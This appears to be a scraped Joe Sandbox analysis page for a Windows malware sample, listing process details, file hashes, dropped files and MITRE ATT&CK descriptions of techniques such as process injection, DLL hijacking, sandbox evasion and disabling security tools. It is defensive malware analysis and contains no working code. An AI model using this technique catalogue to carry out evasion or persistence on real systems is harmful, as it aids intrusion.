Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\ServiceHub\ngentask.exe
Imagebase:	0xd60000
File size:	85096 bytes
MD5 hash:	ED7F195F7121781CC3D380942765B57D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET

Show Windows behavior

Target ID:	23
Start time:	07:54:01
Start date:	18/11/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6da640000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Disassembly

⊘No disassembly

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically requires being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report QHSgso4hXH.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

Malware Analysis System Evasion

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\ngentask.exe.log

C:\Users\user\AppData\Local\ServiceHub\ngentask.exe

C:\Users\user\AppData\Local\Temp\advapi32.dll

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

Windows Analysis Report
QHSgso4hXH.exe

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre